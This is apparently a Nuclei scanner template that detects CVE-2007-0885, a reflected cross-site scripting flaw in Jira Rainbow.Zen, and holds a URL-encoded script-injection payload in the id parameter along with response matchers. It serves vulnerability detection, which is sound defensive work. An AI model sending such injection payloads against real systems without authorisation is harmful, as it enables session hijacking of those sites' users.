id: CVE-2007-0885

info:
  name: Jira Rainbow.Zen - Cross-Site Scripting
  author: geeknik
  severity: medium
  description: Jira Rainbow.Zen contains a cross-site scripting vulnerability via Jira/secure/BrowseProject.jspa which allows remote attackers to inject arbitrary web script or HTML via the id parameter.
  impact: |
    Attackers can execute arbitrary scripts in the victim's browser, leading to session hijacking or defacement.
  remediation: |
    Apply the latest security patches or upgrade to a patched version of Jira Rainbow.Zen to mitigate the Cross-Site Scripting vulnerability.
  reference:
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/32418
    - https://nvd.nist.gov/vuln/detail/CVE-2007-0885
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2007-0885
    cwe-id: NVD-CWE-Other
    epss-score: 0.05472
    epss-percentile: 0.91959
    cpe: cpe:2.3:a:rainbow_portal:rainbow.zen:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: rainbow_portal
    product: rainbow.zen
  tags: cve,cve2007,jira,xss,rainbow_portal,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/jira/secure/BrowseProject.jspa?id=%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3e'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 490a0046304402204a7b02594f9489beb78e9070c612fa07fe4c9604db6b4af983f252f3c761ef9a022043251f8fdec7cf4a09735591b689fd56ae6a6871f0c4d4048d3e5cbff887b1fd:922c64590222798bb761d5b6d8e72950